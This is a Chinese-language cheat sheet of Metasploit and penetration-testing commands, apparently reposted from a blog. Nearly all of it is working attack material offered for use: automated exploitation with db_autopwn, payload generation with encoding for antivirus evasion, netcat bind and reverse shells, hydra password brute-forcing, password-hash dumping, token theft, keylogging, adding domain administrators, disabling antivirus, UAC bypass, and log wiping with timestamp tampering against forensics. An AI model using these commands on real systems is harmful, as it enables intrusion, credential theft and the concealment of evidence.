metasploit 常用指令

svn update #升级 
./msfweb #Web接口127.0.0.1:55555。.
./msfconsole #字符下的Console。
help #帮助
show <option> #显示选项
search <name> #搜索名字
use <exploit name> #使用漏洞
show options #显示选项
set <OPTION NAME> <option> #设置选项
show payloads #显示装置
set PAYLOAD <payload name> #设置装置
show options 显示选项
set <OPTION NAME> <option> #设置选项
show targets #显示目标(os版本)
set TARGET <target number> #设置目标版本
exploit #开始漏洞攻击
sessions -l #列出会话
sessions -i <ID> #选择会话
sessions -k <ID> #结束会话
<ctrl> z #把会话放到后台
<ctrl> c #结束会话
jobs #列出漏洞运行工作
jobs -K #结束一个漏洞运行工作
show auxiliary #显示辅助模块
use <auxiliary name> #使用辅助模块
set <OPTION NAME> <option> #设置选项
run #运行模块
scanner/smb/version #扫描系统版本
scanner/mssql/mssql_ping #测试mssql是否在线
scanner/mssql/mssql_login #测试登录(暴力或字典)
Attacker behind firewall: bind #shell正向
Target behind firewall: reverse #shell反向
db_import_nessus_nbe #加载nessus的扫描结果
db_import_nmap_xml #加载nmap的扫描结果
自动化攻击流程: 
修复Metasploit v4.2.0 ,启用db_autopwn命令问题.
下载db_autopwn复制到/opt/framework3/msf3/plugins/后解决。
下载地址:http://dl.vmall.com/c04w8czlcj
cd /pentest/exploit/framework3
./msfconsole
load db_sqlite3
db_destroy pentest
db_create pentest
db_nmap targetIP
db_hosts
db_services
db_autopwn -t -p -e
编码处理[免杀]:
./msfencode <options> <variable=value>
./msfpayload linux_ia32_bind LPORT=4444 R | ./msfencode -b ‘x00′-l
./msfpayload linux_ia32_bind LPORT=4444 R | ./msfencode -b ‘x00′-e PexFnstenvMor -t c
入侵后在Windows下添加管理员用户:
hostname #查看主机名
net users #查看用户
net user #用户密码/add 添加用户
net localgroup #查看工作组
net localgroup administrators #查看管理员组
net localgroup administrators x /add #将用户加入管理员组
TFTP:
cp /pentest/windows-binaries/tools/nc.exe /tmp/ #传递到tftp上
tftp -i 10.1.1.2 GET nc.exe #下载
Netcat瑞士军刀:
attacker: 10.1.1.1
target: 10.1.1.2
nc -v -z 10.1.1.2 1-1024 #端口扫描
target: nc -lvp 4444 #聊天设置(服务)
attacker: nc -v 10.1.1.2 4444 #聊天设置(客户)
target: nc -lvp 4444 > output.txt #传输文件(接受)
attacker: nc -v 10.1.1.2 4444 < test.txt #传输文件(发送)
target: nc -lvp 4444 -e cmd.exe  #Bind shell。
attacker: nc -v 10.1.1.2 4444
target:nc -lvp 4444  #Reverse shell。
attacker:nc -v 10.1.1.2 4444 -e /bin/bash
暴力破解:
hydra -l ftp -P words -v targetIP ftp #攻击ftp。
hydra -l muts -P words -v targetIP pop3 #攻击pop3
hydra -P words -v targetIP snmp #攻击snmp
攻击Microsof VPN:
nmap -p 1723 targetIP
dos2unix words
cat words | thc-pptp-bruter targetIP
WYD:
wget -r www.target.com –accept=pdf #下载pdf文档
wyd.pl -o output.txt www.target.com/
cat output.txt | more
SAM文件(windows下的密码文件):
%SYSTEMROOT%/system32/config
%SYSTEMROOT%/repair
备份Windows的Hash文件:
./msfcli exploit/windows/dcerpc/ms03_026_dcom RHOST=targetIP PAYLOAD=windows/meterpreter/bind_tcp E
meterpreter > upload -r /tmp/pwdump6 c:windowssystem32
meterpreter > execute -f cmd -c
meterpreter > interact x
C:\WINDOWSsystem32> pwdump 127.0.0.1
Metasploit终端命令
show exploits #列出metasploit框架中的所有渗透攻击模块。
show payloads #列出metasploit框架中的所有攻击载荷。
show auxiliary #列出metasploit框架中的所有辅助攻击载荷。
search name #查找metasploit框架中所有的渗透攻击和其他模块。
info #展示出制定渗透攻击或模块的相关信息。
use name #装载一个渗透攻击或模块。
LHOST #你本地可以让目标主机连接的IP地址,通常当目标主机不在同一个局域网内时,就需要是一个公共IP地址,特别为反弹式shell使用。
RHOST #远程主机或是目标主机。
set function #设置特定的配置参数(EG:设置本地或远程主机参数)。
setg function #以全局方式设置特定的配置参数(EG:设置本地或远程主机参数)。
show options #列出某个渗透攻击或模块中所有的配置参数。
show targets #列出渗透攻击所有支持的目标平台。
set target num #指定你所知道的目标的操作系统以及补丁版本类型。
set payload name #指定想要使用的攻击载荷。
show advanced #列出所有高级配置选项。
set autorunscript migrate -f. #在渗透攻击完成后,将自动迁移到另一个进程。
check #检测目标是否选定渗透攻击存在相应的安全漏洞。
exploit #执行渗透攻击或模块来攻击目标。
exploit -j #在计划任务下进行渗透攻击(攻击将在后台进行)。
exploit -z #渗透攻击完成后不与回话进行交互。
exploit -e encoder #制定使用的攻击载荷编码方式(EG:exploit -e shikata_ga_nai)。
exploit -h #列出exploit命令的帮助信息。
sessions -l #列出可用的交互会话(在处理多个shell时使用)。
sessions -l -v #列出所有可用的交互会话以及详细信息,EG:攻击系统时使用了哪个安全漏洞。
sessions -s script #在所有活跃的metasploit会话中运行一个特定的metasploit脚本。
sessions -K #杀死所有活跃的交互会话。
sessions -c cmd #在所有活跃的metasploit会话上执行一个命令。
sessions -u sessionID #升级一个普通的win32 shell到metasploit shell。
db_create name #创建一个数据库驱动攻击所要使用的数据库(EG:db_create autopwn)。
db_connect name #创建并连接一个数据库驱动攻击所要使用的数据库(EG:db_connect user:passwd@ip/sqlname)。
db_namp #利用nmap并把扫描数据存储到数据库中(支持普通的nmap语句,EG:-sT -v -P0)。
db_autopwn -h #展示出db_autopwn命令的帮助信息。
db_autopwn -p -r -e #对所有发现的开放端口执行db_autopwn,攻击所有系统,并使用一个反弹式shell。
db_destroy #删除当前数据库。
db_destroy user:passwd@host:port/database #使用高级选项来删除数据库。
Meterpreter Commands
help #打开meterpreter使用帮助。
run scriptname #运行meterpreter脚本,在scripts/meterpreter目录下可查看到所有脚本名。
sysinfo #列出受控主机的系统信息。
ls #列出目标主机的文件和文件夹信息。
use priv #加载特权提升扩展模块,来扩展metasploit库。
ps #显示所有运行的进程以及相关联的用户账户。
migrate PID #迁移到一个指定的进程ID(PID号可通过ps命令从主机上获得)。
use incognito #加载incognito功能(用来盗窃目标主机的令牌或假冒用户)
list_tokens -u #列出目标主机用户的可用令牌。
list_tokens -g #列出目标主机用户组的可用令牌。
impersonate_token DOMAIN_NAME\\USERNAME #假冒目标主机上的可用令牌。
steal_token PID #盗窃给定进程的可用令牌并进行令牌假冒。
drop_token #停止假冒当前令牌。
getsystem #通过各种攻击向量来提升系统用户权限。
execute -f cmd.exe -i #执行cmd.exe命令并进行交互。
execute -f cmd.exe -i -t #以所有可用令牌来执行cmd命令并隐藏该进程。
rev2self #回到控制目标主机的初始用户账户下。
reg command #在目标主机注册表中进行交互,创建,删除,查询等操作。
setdesktop number #切换到另一个用户界面(该功能基于那些用户已登录)。
screenshot #对目标主机的屏幕进行截图。
upload file #向目标主机上传文件。
download file #从目标主机下载文件。
keyscan_start #针对远程目标主机开启键盘记录功能。
keyscan_dump #存储目标主机上捕获的键盘记录。
keyscan_stop #停止针对目标主机的键盘记录。
getprivs #尽可能多的获取目标主机上的特权。
uictl enable keyboard/mouse #接管目标主机的键盘和鼠标。
background #将你当前的metasploit shell转为后台执行。
hashdump #导出目标主机中的口令哈希值。
use sniffer #加载嗅探模式。
sniffer_interfaces #列出目标主机所有开放的网络端口。
sniffer_dump interfaceID pcapname #在目标主机上启动嗅探。
sniffer_start interfaceID packet-buffer #在目标主机上针对特定范围的数据包缓冲区启动嗅探。
sniffer_stats interfaceID #获取正在实施嗅探网络接口的统计数据。
sniffer_stop interfaceID #停止嗅探。
add_user username password -h ip #在远程目标主机上添加一个用户。
clearev #清除目标主机上的日志记录。
timestomp #修改文件属性,例如修改文件的创建时间(反取证调查)。
reboot #重启目标主机。
MsfPayLoad Commands
msfpayload -h #msfpayload的帮助信息。
msfpayload windows/meterpreter/bind_tcp O
#列出所有windows/meterpreter/bind_tcp下可用的攻击载荷的配置项(任何攻击载荷都是可用配置的)。
msfpayload windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT X > payload.exe
#创建一个metasploit的reverse_tcp攻击载荷,回连到LHOSTip的LPORT,将其保存为名为payload.exe的windows下可执行程序。
msfpayload windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT R > payload.raw
#创建一个metasploit的reverse_tcp攻击载荷,回连到LHOSTip的LPORT,将其保存为名为payload.raw,该文件后面的msffencode中使用。
msfpayload windows/meterpreter/reverse_tcp LPORT=PORT C > payload.c
#创建一个metasploit的reverse_tcp攻击载荷,导出C格式的shellcode。
msfpayload windows/meterpreter/reverse_tcp LPORT=PORT J > payload.java
#创建一个metasploit的reverse_tcp攻击载荷,导出成以%u编码方式的javaScript语言字符串。
MsfenCode Commands
mefencode -h #列出msfencode的帮助命令。
msfencode -l #列出所有可用的编码器。
msfencode -t (c,elf,exe,java,is_le,js_be,perl,raw,ruby,vba,vbs,loop_vbs,asp,war,macho)
#显示编码缓冲区的格式。
msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe
#使用shikata_ga_nai编码器对payload.raw文件进行5编码,然后导出一个名为encoded_payload.exe的文件。
msfpayload windows/meterpreter/bind_tcp LPORT=PORT R | msfencode -e x86/_countdown -c 5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded_payload.exe
#创建一个经过多种编码格式嵌套编码的攻击载荷。
msfencode -i payload.raw BufferRegister=ESI -e x86/alpja_mixed -t c #创建一个纯字母数字的shellcode,由ESI寄存器只想shellcode,以C语言格式输出。
MSFcli Commands
msfcli | grep exploit #仅列出渗透攻击模块。
msfcli | grep exploit/windows #仅列出与windows相关的渗透攻击模块。
msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp LPORT=PORT RHOST=IP E
#对IP发起ms08_067_netapi渗透攻击,配置了bind_tcp攻击载荷,并绑定在PORT端口进行监听。
Meterpreter Post Exploitation Commands
提权一般步骤:
meterpreter> use priv
meterpreter> getsystem
meterpreter> ps
meterpreter> steal_token 1784
meterpreter> shell
net user msf msf /add /DOMAIN
net group "Domain Admins" msf /add /DOMAIN
获取Hash一般步骤:
meterpreter> use priv
meterpreter> getsystem
meterpreter> hashdump
如果是在win2008系统上:
meterpreter> run migrate
meterpreter> run killav
meterpreter> ps
meterpreter> migrate 1436
meterpreter> keyscan_start
meterpreter> keyscan_dump
meterpreter> keyscan_stop
meterpreter> use incognito #使用Incognito提权
meterpreter> list_tokens -u
meterpreter> use priv
meterpreter> getsystem
meterpreter> list_tokens -u
meterpreter> impersonate_token IHAZSECURITY\\Administrator
meterpreter> run getcountermeasure #查看保护机制并禁用之
meterpreter> run getcountermeasure -h
meterpreter> run getcountermeasure -d -k
meterpreter> run checkvm #检查是否是虚拟机
meterpreter> shell #转入命令行
meterpreter> run vnc #远程VNC控制
meterpreter> background #将你当前的Metasploit Shell转为后台执行。
meterpreter> run post/windows/escalate/bypassuac  #Bypass UAC 绕过windows用户账户控制机制(USA)
meterpreter> run post/osx/gather/hashdump  #OS X 系统上dump hash
meterpreter> run post/linux/gather/hashdump  #Linux 系统上dump hash

原文地址:https://www.cnblogs.com/vigarbuaa/p/3120066.html